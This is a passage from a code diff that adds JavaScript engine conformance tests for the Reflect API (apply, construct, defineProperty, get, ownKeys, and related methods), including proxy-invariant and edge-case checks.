+gw.eval("function q() { return q; }");
+assertEq(Reflect.apply(gw.q,
+ undefined,
+ []),
+ gw.q);
+
+
+// Exceptions are propagated.
+var nope = new Error("nope");
+function fail() {
+ throw nope;
+}
+assertThrowsValue(() => Reflect.apply(fail, undefined, []),
+ nope);
+
+// Exceptions thrown by cross-compartment wrappers are re-wrapped for the
+// calling compartment.
+var gxw = gw.eval("var x = new Error('x'); x");
+gw.eval("function fail() { throw x; }");
+assertThrowsValue(() => Reflect.apply(gw.fail, undefined, []),
+ gxw);
+
+// The thisArgument is passed to the target function as the 'this' value.
+var obj = {};
+hits = 0;
+assertEq(Reflect.apply(function () { hits++; assertEq(this, obj); },
+ obj,
+ []),
+ undefined);
+assertEq(hits, 1);
+
+// Primitive values can be thisArgument.
+function strictThis() { "use strict"; return this; }
+for (var value of [null, undefined, 0, -0, NaN, Symbol("moon")]) {
+ assertEq(Reflect.apply(strictThis, value, []),
+ value);
+}
+
+// If the target is a non-strict function and thisArgument is a primitive value
+// other than null or undefined, then thisArgument is converted to a wrapper
+// object.
+var testValues = [true, 1e9, "ok", Symbol("ok")];
+function nonStrictThis(expected) {
+ assertEq(typeof this, "object");
+ assertEq(Reflect.apply(Object.prototype.toString, this, []).toLowerCase(), expected);
+ return "ok";
+}
+for (var value of testValues) {
+ assertEq(Reflect.apply(nonStrictThis,
+ value,
+ ["[object " + typeof value + "]"]),
+ "ok");
+}
+
+// For more Reflect.apply tests, see target.js and argumentsList.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/argumentsList.js b/js/src/tests/non262/Reflect/argumentsList.js
new file mode 100644
index 0000000000..1cd5984f00
--- /dev/null
+++ b/js/src/tests/non262/Reflect/argumentsList.js
@@ -0,0 +1,164 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Tests for the argumentList argument to Reflect.apply and Reflect.construct.
+
+// Reflect.apply and Reflect.construct require an argumentList argument that must be an object.
+assertThrowsInstanceOf(() => Reflect.apply(Math.min, undefined), // missing
+ TypeError);
+assertThrowsInstanceOf(() => Reflect.construct(Object), // missing
+ TypeError);
+for (var primitive of SOME_PRIMITIVE_VALUES) {
+ assertThrowsInstanceOf(() => Reflect.apply(Math.min, undefined, primitive),
+ TypeError);
+ assertThrowsInstanceOf(() => Reflect.construct(Object, primitive),
+ TypeError);
+}
+
+// Array used by several tests below.
+var BOTH = [
+ Reflect.apply,
+ // Adapt Reflect.construct to accept the same arguments as Reflect.apply.
+ (target, thisArgument, argumentList) => Reflect.construct(target, argumentList)
+];
+
+// The argumentList is copied and becomes the list of arguments passed to the function.
+function getRest(...x) { return x; }
+var args = [1, 2, 3];
+for (var method of BOTH) {
+ var result = method(getRest, undefined, args);
+ assertEq(result.join(), args.join());
+ assertEq(result !== args, true);
+}
+
+// argumentList.length can be less than func.length.
+function testLess(a, b, c, d, e) {
+ assertEq(a, 1);
+ assertEq(b, true);
+ assertEq(c, "three");
+ assertEq(d, Symbol.for);
+ assertEq(e, undefined);
+
+ assertEq(arguments.length, 4);
+ assertEq(arguments !== args, true);
+ return "ok";
+}
+args = [1, true, "three", Symbol.for];
+assertEq(Reflect.apply(testLess, undefined, args), "ok");
+assertEq(Reflect.construct(testLess, args) instanceof testLess, true);
+
+// argumentList.length can be more than func.length.
+function testMoar(a) {
+ assertEq(a, args[0]);
+ return "good";
+}
+assertEq(Reflect.apply(testMoar, undefined, args), "good");
+assertEq(Reflect.construct(testMoar, args) instanceof testMoar, true);
+
+// argumentList can be any object with a .length property.
+function getArgs(...args) {
+ return args;
+}
+for (var method of BOTH) {
+ assertDeepEq(method(getArgs, undefined, {length: 0}),
+ []);
+ assertDeepEq(method(getArgs, undefined, {length: 1, "0": "zero"}),
+ ["zero"]);
+ assertDeepEq(method(getArgs, undefined, {length: 2}),
+ [undefined, undefined]);
+ assertDeepEq(method(getArgs, undefined, function (a, b, c) {}),
+ [undefined, undefined, undefined]);
+}
+
+// The Iterable/Iterator interfaces are not used.
+var funnyArgs = {
+ 0: "zero",
+ 1: "one",
+ length: 2,
+ [Symbol.iterator]() { throw "FAIL 1"; },
+ next() { throw "FAIL 2"; }
+};
+for (var method of BOTH) {
+ assertDeepEq(method(getArgs, undefined, funnyArgs),
+ ["zero", "one"]);
+}
+
+// If argumentList has no .length property, no arguments are passed.
+function count() { return {numArgsReceived: arguments.length}; }
+for (var method of BOTH) {
+ assertEq(method(count, undefined, {"0": 0, "1": 1}).numArgsReceived,
+ 0);
+ function* g() { yield 1; yield 2; }
+ assertEq(method(count, undefined, g()).numArgsReceived,
+ 0);
+}
+
+// If argumentsList.length has a getter, it is called.
+var log;
+args = {
+ get length() { log += "L"; return 1; },
+ get "0"() { log += "0"; return "zero"; },
+ get "1"() { log += "1"; return "one"; }
+};
+for (var method of BOTH) {
+ log = "";
+ assertDeepEq(method(getArgs, undefined, args),
+ ["zero"]);
+ assertEq(log, "L0");
+}
+
+// The argumentsList.length getter can throw; the exception is propagated.
+var exc = {status: "bad"};
+args = {
+ get length() { throw exc; }
+};
+for (var method of BOTH) {
+ assertThrowsValue(() => method(count, undefined, args), exc);
+}
+
+// If argumentsList.length is unreasonably huge, we get an error.
+// (This is an implementation limit.)
+for (var method of BOTH) {
+ for (var value of [1e12, 1e240, Infinity]) {
+ assertThrowsInstanceOf(() => method(count, undefined, {length: value}),
+ Error);
+ }
+}
+
+// argumentsList.length is converted to an integer.
+for (var value of [1.7, "1", {valueOf() { return "1"; }}]) {
+ args = {
+ length: value,
+ "0": "ponies"
+ };
+ for (var method of BOTH) {
+ var result = method(getArgs, undefined, args);
+ assertEq(result.length, 1);
+ assertEq(result[0], "ponies");
+ }
+}
+
+// If argumentsList.length is negative or NaN, no arguments are passed.
+for (var method of BOTH) {
+ for (var num of [-1, -0.1, -0, -1e99, -Infinity, NaN]) {
+ assertEq(method(count, undefined, {length: num}).numArgsReceived,
+ 0);
+ }
+}
+
+// Many arguments can be passed.
+var many = 65537;
+var args = {length: many, 0: "zero", [many - 1]: "last"};
+function testMany(...args) {
+ for (var i = 0; i < many; i++) {
+ assertEq(i in args, true);
+ assertEq(args[i], i === 0 ? "zero" : i === many - 1 ? "last" : undefined);
+ }
+ return this;
+}
+assertEq(Reflect.apply(testMany, "pass", args).toString(), "pass");
+assertEq(Reflect.construct(testMany, args) instanceof testMany, true);
+assertEq(Reflect.apply(new Proxy(testMany, {}), "pass", args).toString(), "pass");
+assertEq(Reflect.construct(new Proxy(testMany, {}), args) instanceof testMany, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/browser.js b/js/src/tests/non262/Reflect/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Reflect/browser.js
diff --git a/js/src/tests/non262/Reflect/construct.js b/js/src/tests/non262/Reflect/construct.js
new file mode 100644
index 0000000000..7dbb9bfa7d
--- /dev/null
+++ b/js/src/tests/non262/Reflect/construct.js
@@ -0,0 +1,107 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.construct invokes constructors.
+
+assertDeepEq(Reflect.construct(Object, []), {});
+assertDeepEq(Reflect.construct(String, ["hello"]), new String("hello"));
+
+// Constructing Date creates a real Date object.
+var d = Reflect.construct(Date, [1776, 6, 4]);
+assertEq(d instanceof Date, true);
+assertEq(d.getFullYear(), 1776); // non-generic method requires real Date object
+
+// [[Construct]] methods don't necessarily create new objects.
+var obj = {};
+assertEq(Reflect.construct(Object, [obj]), obj);
+
+
+// === Various kinds of constructors
+// We've already seen some builtin constructors.
+//
+// JS functions:
+function f(x) { this.x = x; }
+assertDeepEq(Reflect.construct(f, [3]), new f(3));
+f.prototype = Array.prototype;
+assertDeepEq(Reflect.construct(f, [3]), new f(3));
+
+// Bound functions:
+var bound = f.bind(null, "carrot");
+assertDeepEq(Reflect.construct(bound, []), new bound);
+
+// Classes:
+class Base {
+ constructor(...args) {
+ this.args = args;
+ this.newTarget = new.target;
+ }
+}
+class Derived extends Base {
+ constructor(...args) { super(...args); }
+}
+
+assertDeepEq(Reflect.construct(Base, []), new Base);
+assertDeepEq(Reflect.construct(Derived, [7]), new Derived(7));
+g = Derived.bind(null, "q");
+assertDeepEq(Reflect.construct(g, [8, 9]), new g(8, 9));
+
+// Cross-compartment wrappers:
+var g = newGlobal();
+var local = {here: this};
+g.eval("function F(arg) { this.arg = arg }");
+assertDeepEq(Reflect.construct(g.F, [local]), new g.F(local));
+
+// If first argument to Reflect.construct isn't a constructor, it throws a
+// TypeError.
+var nonConstructors = [
+ {},
+ Reflect.construct, // builtin functions aren't constructors
+ x => x + 1,
+ Math.max.bind(null, 0), // bound non-constructors aren't constructors
+ ((x, y) => x > y).bind(null, 0),
+
+ // A Proxy to a non-constructor function isn't a constructor, even if a
+ // construct handler is present.
+ new Proxy(Reflect.construct, {construct(){}}),
+];
+for (var obj of nonConstructors) {
+ assertThrowsInstanceOf(() => Reflect.construct(obj, []), TypeError);
+ assertThrowsInstanceOf(() => Reflect.construct(obj, [], Object), TypeError);
+}
+
+
+// === new.target tests
+
+// If the newTarget argument to Reflect.construct is missing, the target is used.
+function checkNewTarget() {
+ assertEq(new.target, expected);
+ expected = undefined;
+}
+var expected = checkNewTarget;
+Reflect.construct(checkNewTarget, []);
+
+// The newTarget argument is correctly passed to the constructor.
+var constructors = [Object, Function, f, bound];
+for (var ctor of constructors) {
+ expected = ctor;
+ Reflect.construct(checkNewTarget, [], ctor);
+ assertEq(expected, undefined);
+}
+
+// The newTarget argument must be a constructor.
+for (var v of SOME_PRIMITIVE_VALUES.concat(nonConstructors)) {
+ assertThrowsInstanceOf(() => Reflect.construct(checkNewTarget, [], v), TypeError);
+}
+
+// The builtin Array constructor uses new.target.prototype and always
+// creates a real array object.
+function someConstructor() {}
+var result = Reflect.construct(Array, [], someConstructor);
+assertEq(Reflect.getPrototypeOf(result), someConstructor.prototype);
+assertEq(result.length, 0);
+assertEq(Array.isArray(result), true);
+
+
+// For more Reflect.construct tests, see target.js and argumentsList.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/defineProperty.js b/js/src/tests/non262/Reflect/defineProperty.js
new file mode 100644
index 0000000000..1f299f4e85
--- /dev/null
+++ b/js/src/tests/non262/Reflect/defineProperty.js
@@ -0,0 +1,164 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.defineProperty defines properties.
+var obj = {};
+assertEq(Reflect.defineProperty(obj, "x", {value: 7}), true);
+assertEq(obj.x, 7);
+var desc = Reflect.getOwnPropertyDescriptor(obj, "x");
+assertDeepEq(desc, {value: 7,
+ writable: false,
+ enumerable: false,
+ configurable: false});
+
+// Reflect.defineProperty can define a symbol-keyed property.
+var key = Symbol(":o)");
+assertEq(Reflect.defineProperty(obj, key, {value: 8}), true);
+assertEq(obj[key], 8);
+
+// array .length property
+obj = [1, 2, 3, 4, 5];
+assertEq(Reflect.defineProperty(obj, "length", {value: 4}), true);
+assertDeepEq(obj, [1, 2, 3, 4]);
+
+// The target can be a proxy.
+obj = {};
+var proxy = new Proxy(obj, {
+ defineProperty(t, id, desc) {
+ t[id] = 1;
+ return true;
+ }
+});
+assertEq(Reflect.defineProperty(proxy, "prop", {value: 7}), true);
+assertEq(obj.prop, 1);
+assertEq(delete obj.prop, true);
+assertEq("prop" in obj, false);
+
+// The attributes object is re-parsed, not passed through to the
+// handler.defineProperty method.
+obj = {};
+var attributes = {
+ configurable: 17,
+ enumerable: undefined,
+ value: null
+};
+proxy = new Proxy(obj, {
+ defineProperty(t, id, desc) {
+ assertEq(desc !== attributes, true);
+ assertEq(desc.configurable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.value, null);
+ assertEq("writable" in desc, false);
+ return 15; // and the return value here is coerced to boolean
+ }
+});
+assertEq(Reflect.defineProperty(proxy, "prop", attributes), true);
+
+
+// === Failure and error cases
+//
+// Reflect.defineProperty behaves much like Object.defineProperty, which has
+// extremely thorough tests elsewhere, and the implementation is largely
+// shared. Duplicating those tests with Reflect.defineProperty would be a
+// big waste.
+//
+// However, certain failures cause Reflect.defineProperty to return false
+// without throwing a TypeError (unlike Object.defineProperty). So here we test
+// many error cases to check that behavior.
+
+// missing attributes argument
+assertThrowsInstanceOf(() => Reflect.defineProperty(obj, "y"),
+ TypeError);
+
+// non-object attributes argument
+for (var attributes of SOME_PRIMITIVE_VALUES) {
+ assertThrowsInstanceOf(() => Reflect.defineProperty(obj, "y", attributes),
+ TypeError);
+}
+
+// inextensible object
+obj = Object.preventExtensions({});
+assertEq(Reflect.defineProperty(obj, "prop", {value: 4}), false);
+
+// inextensible object with irrelevant inherited property
+obj = Object.preventExtensions(Object.create({"prop": 3}));
+assertEq(Reflect.defineProperty(obj, "prop", {value: 4}), false);
+
+// redefine nonconfigurable to configurable
+obj = Object.freeze({prop: 1});
+assertEq(Reflect.defineProperty(obj, "prop", {configurable: true}), false);
+
+// redefine enumerability of nonconfigurable property
+obj = Object.freeze(Object.defineProperties({}, {
+ x: {enumerable: true, configurable: false, value: 0},
+ y: {enumerable: false, configurable: false, value: 0},
+}));
+assertEq(Reflect.defineProperty(obj, "x", {enumerable: false}), false);
+assertEq(Reflect.defineProperty(obj, "y", {enumerable: true}), false);
+
+// redefine nonconfigurable data to accessor property, or vice versa
+obj = Object.seal({x: 1, get y() { return 2; }});
+assertEq(Reflect.defineProperty(obj, "x", {get() { return 2; }}), false);
+assertEq(Reflect.defineProperty(obj, "y", {value: 1}), false);
+
+// redefine nonwritable, nonconfigurable property as writable
+obj = Object.freeze({prop: 0});
+assertEq(Reflect.defineProperty(obj, "prop", {writable: true}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {writable: false}), true); // no-op
+
+// change value of nonconfigurable nonwritable property
+obj = Object.freeze({prop: 0});
+assertEq(Reflect.defineProperty(obj, "prop", {value: -0}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {value: +0}), true); // no-op
+
+// change getter or setter
+function g() {}
+function s(x) {}
+obj = {};
+Object.defineProperty(obj, "prop", {get: g, set: s, configurable: false});
+assertEq(Reflect.defineProperty(obj, "prop", {get: s}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {get: g}), true); // no-op
+assertEq(Reflect.defineProperty(obj, "prop", {set: g}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {set: s}), true); // no-op
+
+// Proxy defineProperty handler method that returns false
+var falseValues = [false, 0, -0, "", NaN, null, undefined];
+if (typeof createIsHTMLDDA === "function")
+ falseValues.push(createIsHTMLDDA());
+var value;
+proxy = new Proxy({}, {
+ defineProperty(t, id, desc) {
+ return value;
+ }
+});
+for (value of falseValues) {
+ assertEq(Reflect.defineProperty(proxy, "prop", {value: 1}), false);
+}
+
+// Proxy defineProperty handler method returns true, in violation of invariants.
+// Per spec, this is a TypeError, not a false return.
+obj = Object.freeze({x: 1});
+proxy = new Proxy(obj, {
+ defineProperty(t, id, desc) {
+ return true;
+ }
+});
+assertThrowsInstanceOf(() => Reflect.defineProperty(proxy, "x", {value: 2}), TypeError);
+assertThrowsInstanceOf(() => Reflect.defineProperty(proxy, "y", {value: 0}), TypeError);
+assertEq(Reflect.defineProperty(proxy, "x", {value: 1}), true);
+
+// The second argument is converted ToPropertyKey before any internal methods
+// are called on the first argument.
+var poison =
+ (counter => new Proxy({}, new Proxy({}, { get() { throw counter++; } })))(42);
+assertThrowsValue(() => {
+ Reflect.defineProperty(poison, {
+ toString() { throw 17; },
+ valueOf() { throw 8675309; }
+ }, poison);
+}, 17);
+
+
+// For more Reflect.defineProperty tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/deleteProperty.js b/js/src/tests/non262/Reflect/deleteProperty.js
new file mode 100644
index 0000000000..744e0f5715
--- /dev/null
+++ b/js/src/tests/non262/Reflect/deleteProperty.js
@@ -0,0 +1,80 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.deleteProperty deletes properties.
+var obj = {x: 1, y: 2};
+assertEq(Reflect.deleteProperty(obj, "x"), true);
+assertDeepEq(obj, {y: 2});
+
+var arr = [1, 1, 2, 3, 5];
+assertEq(Reflect.deleteProperty(arr, "3"), true);
+assertDeepEq(arr, [1, 1, 2, , 5]);
+
+
+// === Failure and error cases
+// Since Reflect.deleteProperty is almost exactly identical to the non-strict
+// `delete` operator, there is not much to test that would not be redundant.
+
+// Returns true if no such property exists.
+assertEq(Reflect.deleteProperty({}, "q"), true);
+
+// Or if it's inherited.
+var proto = {x: 1};
+assertEq(Reflect.deleteProperty(Object.create(proto), "x"), true);
+assertEq(proto.x, 1);
+
+// Return false if asked to delete a non-configurable property.
+var arr = [];
+assertEq(Reflect.deleteProperty(arr, "length"), false);
+assertEq(arr.hasOwnProperty("length"), true);
+assertEq(Reflect.deleteProperty(this, "undefined"), false);
+assertEq(this.undefined, void 0);
+
+// Return false if a Proxy's deleteProperty handler returns a false-y value.
+var value;
+var proxy = new Proxy({}, {
+ deleteProperty(t, k) {
+ return value;
+ }
+});
+for (value of [true, false, 0, "something", {}]) {
+ assertEq(Reflect.deleteProperty(proxy, "q"), !!value);
+}
+
+// If a Proxy's handler method throws, the error is propagated.
+proxy = new Proxy({}, {
+ deleteProperty(t, k) { throw "vase"; }
+});
+assertThrowsValue(() => Reflect.deleteProperty(proxy, "prop"), "vase");
+
+// Throw a TypeError if a Proxy's handler method returns true in violation of
+// the object invariants.
+proxy = new Proxy(Object.freeze({prop: 1}), {
+ deleteProperty(t, k) { return true; }
+});
+assertThrowsInstanceOf(() => Reflect.deleteProperty(proxy, "prop"), TypeError);
+
+
+// === Deleting elements from `arguments`
+
+// Non-strict arguments element becomes unmapped
+function f(x, y, z) {
+ assertEq(Reflect.deleteProperty(arguments, "0"), true);
+ arguments.x = 33;
+ return x;
+}
+assertEq(f(17, 19, 23), 17);
+
+// Frozen non-strict arguments element
+function testFrozenArguments() {
+ Object.freeze(arguments);
+ assertEq(Reflect.deleteProperty(arguments, "0"), false);
+ assertEq(arguments[0], "zero");
+ assertEq(arguments[1], "one");
+}
+testFrozenArguments("zero", "one");
+
+
+// For more Reflect.deleteProperty tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/get.js b/js/src/tests/non262/Reflect/get.js
new file mode 100644
index 0000000000..b38b188b03
--- /dev/null
+++ b/js/src/tests/non262/Reflect/get.js
@@ -0,0 +1,72 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.get gets the value of a property.
+
+var x = {p: 1};
+assertEq(Reflect.get(x, "p"), 1);
+assertEq(Reflect.get(x, "toString"), Object.prototype.toString);
+assertEq(Reflect.get(x, "missing"), undefined);
+
+
+// === Various targets
+
+// Array
+assertEq(Reflect.get([], 700), undefined);
+assertEq(Reflect.get(["zero", "one"], 1), "one");
+
+// TypedArray
+assertEq(Reflect.get(new Uint8Array([0, 1, 2, 3, 4, 5, 6, 7]), 7), 7);
+
+// Treatment of NaN
+var f = new Float64Array([NaN]);
+var u = new Uint32Array(f.buffer);
+u[0]++;
+u[1]++;
+assertEq(f[0], NaN);
+assertEq(Reflect.get(f, 0), NaN);
+
+// Proxy with no get handler
+assertEq(Reflect.get(new Proxy(x, {}), "p"), 1);
+
+// Proxy with a get handler
+var obj = new Proxy(x, {
+ get(t, k, r) { return k + "ful"; }
+});
+assertEq(Reflect.get(obj, "mood"), "moodful");
+
+// Exceptions thrown by a proxy's get handler are propagated.
+assertThrowsInstanceOf(() => Reflect.get(obj, Symbol()), TypeError);
+
+// Ordinary object, property has a setter and no getter
+obj = {set name(x) {}};
+assertEq(Reflect.get(obj, "name"), undefined);
+
+
+// === Receiver
+
+// Receiver argument is passed to getters as the this-value.
+obj = { get x() { return this; }};
+assertEq(Reflect.get(obj, "x", Math), Math);
+assertEq(Reflect.get(Object.create(obj), "x", JSON), JSON);
+
+// If missing, target is passed instead.
+assertEq(Reflect.get(obj, "x"), obj);
+
+// Receiver argument is passed to the proxy get handler.
+obj = new Proxy({}, {
+ get(t, k, r) {
+ assertEq(k, "itself");
+ return r;
+ }
+});
+assertEq(Reflect.get(obj, "itself"), obj);
+assertEq(Reflect.get(obj, "itself", Math), Math);
+assertEq(Reflect.get(Object.create(obj), "itself", Math), Math);
+
+// The receiver shouldn't have to be an object
+assertEq(Reflect.get(obj, "itself", 37.2), 37.2);
+
+// For more Reflect.get tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/getOwnPropertyDescriptor.js b/js/src/tests/non262/Reflect/getOwnPropertyDescriptor.js
new file mode 100644
index 0000000000..aa7329778d
--- /dev/null
+++ b/js/src/tests/non262/Reflect/getOwnPropertyDescriptor.js
@@ -0,0 +1,21 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.getOwnPropertyDescriptor inspects object properties.
+assertDeepEq(
+ Reflect.getOwnPropertyDescriptor({x: "hello"}, "x"),
+ {value: "hello", writable: true, enumerable: true, configurable: true});
+assertEq(
+ Reflect.getOwnPropertyDescriptor({x: "hello"}, "y"),
+ undefined);
+assertDeepEq(
+ Reflect.getOwnPropertyDescriptor([], "length"),
+ {value: 0, writable: true, enumerable: false, configurable: false});
+
+// Reflect.getOwnPropertyDescriptor shares its implementation with
+// Object.getOwnPropertyDescriptor. The only difference is how non-object
+// targets are handled.
+//
+// For more Reflect.getOwnPropertyDescriptor tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/getPrototypeOf.js b/js/src/tests/non262/Reflect/getPrototypeOf.js
new file mode 100644
index 0000000000..6a29d4a9b2
--- /dev/null
+++ b/js/src/tests/non262/Reflect/getPrototypeOf.js
@@ -0,0 +1,17 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.getPrototypeOf returns an object's prototype.
+assertEq(Reflect.getPrototypeOf({}), Object.prototype);
+assertEq(Reflect.getPrototypeOf(Object.prototype), null);
+assertEq(Reflect.getPrototypeOf(Object.create(null)), null);
+
+var proxy = new Proxy({}, {
+ getPrototypeOf(t) { return Math; }
+});
+
+assertEq(Reflect.getPrototypeOf(proxy), Math);
+
+// For more Reflect.getPrototypeOf tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/has.js b/js/src/tests/non262/Reflect/has.js
new file mode 100644
index 0000000000..6019a61ed3
--- /dev/null
+++ b/js/src/tests/non262/Reflect/has.js
@@ -0,0 +1,41 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.has is identical to the `in` operator.
+assertEq(Reflect.has({x: 0}, "x"), true);
+assertEq(Reflect.has({x: 0}, "y"), false);
+assertEq(Reflect.has({x: 0}, "toString"), true);
+
+// The target can be an array; Reflect.has works on array elements.
+var arr = ["zero"];
+arr[10000] = 0;
+assertEq(Reflect.has(arr, "10000"), true);
+assertEq(Reflect.has(arr, 10000), true);
+assertEq(Reflect.has(arr, "-0"), false);
+assertEq(Reflect.has(arr, -0), true);
+
+// And string objects (though not string primitives; see target.js).
+var str = new String("hello");
+assertEq(Reflect.has(str, "4"), true);
+assertEq(Reflect.has(str, "-0"), false);
+assertEq(Reflect.has(str, -0), true);
+
+// Proxy without .has() handler method
+var obj = {get prop() {}};
+for (var i = 0; i < 2; i++) {
+ obj = new Proxy(obj, {});
+ assertEq(Reflect.has(obj, "prop"), true);
+ assertEq(Reflect.has(obj, "nope"), false);
+}
+
+// Proxy with .has() handler method
+obj = new Proxy({}, {
+ has(t, k) { return k.startsWith("door"); }
+});
+assertEq(Reflect.has(obj, "doorbell"), true);
+assertEq(Reflect.has(obj, "dormitory"), false);
+
+
+// For more Reflect.has tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/isExtensible.js b/js/src/tests/non262/Reflect/isExtensible.js
new file mode 100644
index 0000000000..f38724875d
--- /dev/null
+++ b/js/src/tests/non262/Reflect/isExtensible.js
@@ -0,0 +1,57 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.isExtensible behaves just like Object.extensible except when the
+// target argument is missing or is not an object (and that behavior is tested
+// in target.js).
+
+// Test basic functionality.
+var someObjects = [
+ {},
+ {a: "a"},
+ [0, 1],
+ new Uint8Array(64),
+ Object(Symbol("table")),
+ new Proxy({}, {})
+];
+if (typeof SharedArrayBuffer != "undefined")
+ someObjects.push(new Uint8Array(new SharedArrayBuffer(64)));
+
+for (var obj of someObjects) {
+ assertEq(Reflect.isExtensible(obj), true);
+ assertEq(Reflect.preventExtensions(obj), true);
+ assertEq(Reflect.isExtensible(obj), false);
+}
+
+// Array with nonwritable length.
+var arr = [0, 1, 2, 3];
+Object.defineProperty(arr, "length", {writable: false});
+assertEq(Reflect.isExtensible(arr), true);
+
+// Proxy case.
+for (var ext of [true, false]) {
+ var obj = {};
+ if (!ext)
+ Object.preventExtensions(obj);
+ var proxy = new Proxy(obj, {
+ isExtensible() { return ext; }
+ });
+ assertEq(Reflect.isExtensible(proxy), ext);
+}
+
+// If a Proxy's isExtensible method throws, the exception is propagated.
+proxy = new Proxy({}, {
+ isExtensible() { throw "oops"; }
+});
+assertThrowsValue(() => Reflect.isExtensible(proxy), "oops");
+
+// If an invariant is broken, [[IsExtensible]] does not return false. It throws
+// a TypeError.
+proxy = new Proxy({}, {
+ isExtensible() { return false; }
+});
+assertThrowsInstanceOf(() => Reflect.isExtensible(proxy), TypeError);
+
+// For more Reflect.isExtensible tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/ownKeys.js b/js/src/tests/non262/Reflect/ownKeys.js
new file mode 100644
index 0000000000..5433562eb5
--- /dev/null
+++ b/js/src/tests/non262/Reflect/ownKeys.js
@@ -0,0 +1,66 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.ownKeys(obj) returns an array of an object's own property keys.
+
+// Test that Reflect.ownKeys gets the expected result when applied to various
+// objects. (These tests also check the basics: that the result is an array,
+// that its prototype is correct, etc.)
+var sym = Symbol.for("comet");
+var sym2 = Symbol.for("meteor");
+var cases = [
+ {object: {z: 3, y: 2, x: 1},
+ keys: ["z", "y", "x"]},
+ {object: [],
+ keys: ["length"]},
+ {object: new Int8Array(4),
+ keys: ["0", "1", "2", "3"]},
+ {object: new Proxy({a: 7}, {}),
+ keys: ["a"]},
+ {object: {[sym]: "ok"},
+ keys: [sym]},
+ {object: {[sym]: 0, // test 9.1.12 ordering
+ "str": 0,
+ "773": 0,
+ "0": 0,
+ [sym2]: 0,
+ "-1": 0,
+ "8": 0,
+ "second str": 0},
+ keys: ["0", "8", "773", // indexes in numeric order
+ "str", "-1", "second str", // strings in insertion order
+ sym, sym2]}, // symbols in insertion order
+ {object: newGlobal().Math, // cross-compartment wrapper
+ keys: Reflect.ownKeys(Math)}
+];
+for (var {object, keys} of cases)
+ assertDeepEq(Reflect.ownKeys(object), keys);
+
+// Reflect.ownKeys() creates a new array each time it is called.
+var object = {}, keys = [];
+for (var i = 0; i < 3; i++) {
+ var newKeys = Reflect.ownKeys(object);
+ assertEq(newKeys !== keys, true);
+ keys = newKeys;
+}
+
+// Proxy behavior with successful ownKeys() handler
+keys = ["str", "0"];
+obj = {};
+proxy = new Proxy(obj, {
+ ownKeys() { return keys; }
+});
+var actual = Reflect.ownKeys(proxy);
+assertDeepEq(actual, keys); // we get correct answers
+assertEq(actual !== keys, true); // but not the same object
+
+// If a proxy breaks invariants, a TypeError is thrown.
+var obj = Object.preventExtensions({});
+var proxy = new Proxy(obj, {
+ ownKeys() { return ["something"]; }
+});
+assertThrowsInstanceOf(() => Reflect.ownKeys(proxy), TypeError);
+
+// For more Reflect.ownKeys tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/preventExtensions.js b/js/src/tests/non262/Reflect/preventExtensions.js
new file mode 100644
index 0000000000..63ca2545b4
--- /dev/null
+++ b/js/src/tests/non262/Reflect/preventExtensions.js
@@ -0,0 +1,56 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.preventExtensions is the same as Object.preventExtensions, except
+// for the return value and the behavior in error cases.
+
+var someObjects = [
+ {},
+ new Int32Array(7),
+ Object(Symbol("table")),
+ new Proxy({}, {})
+];
+
+for (var obj of someObjects) {
+ assertEq(Reflect.preventExtensions(obj), true);
+ // [[PreventExtensions]] on an already-inextensible object is a no-op.
+ assertEq(Reflect.preventExtensions(obj), true);
+}
+
+// Error cases.
+assertThrowsInstanceOf(() => Reflect.isExtensible(), TypeError);
+for (var value of [undefined, null, true, 1, NaN, "Phaedo", Symbol("good")]) {
+ assertThrowsInstanceOf(() => Reflect.isExtensible(value), TypeError);
+}
+
+// A proxy's preventExtensions handler can return false without doing anything.
+obj = {};
+var proxy = new Proxy(obj, {
+ preventExtensions() { return false; }
+});
+assertEq(Reflect.preventExtensions(proxy), false);
+assertEq(Reflect.isExtensible(obj), true);
+assertEq(Reflect.isExtensible(proxy), true);
+
+// If a proxy's preventExtensions handler throws, the exception is propagated.
+obj = {};
+proxy = new Proxy(obj, {
+ preventExtensions() { throw "fit"; }
+});
